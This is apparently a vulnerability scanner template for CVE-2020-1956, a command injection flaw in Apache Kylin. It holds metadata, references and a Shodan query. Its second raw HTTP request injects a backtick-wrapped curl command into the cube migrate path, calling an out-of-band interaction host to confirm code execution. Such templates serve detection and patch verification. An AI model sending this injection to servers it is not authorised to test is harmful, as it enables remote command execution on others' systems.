id: CVE-2020-1956

info:
  name: Apache Kylin 3.0.1 - Command Injection Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
  remediation: |
    Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/
    - https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1956
    - http://www.openwall.com/lists/oss-security/2020/07/14/1
    - https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-1956
    cwe-id: CWE-78
    epss-score: 0.97389
    epss-percentile: 0.99887
    cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
  tags: cve,cve2020,apache,kylin,rce,oast,kev
variables:
  username: "{{username}}:"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /kylin/api/user/authentication HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
      - |
        POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

# digest: 4b0a00483046022100ac3514f8dbba979394fb8d2c6c067f6cbad683cdb037ac155b3562ec1cb965bb022100f1b2542bb598710ff44cb728aaea06f7dcdc5f8880811bb7b0bd1565365c7335:922c64590222798bb761d5b6d8e72950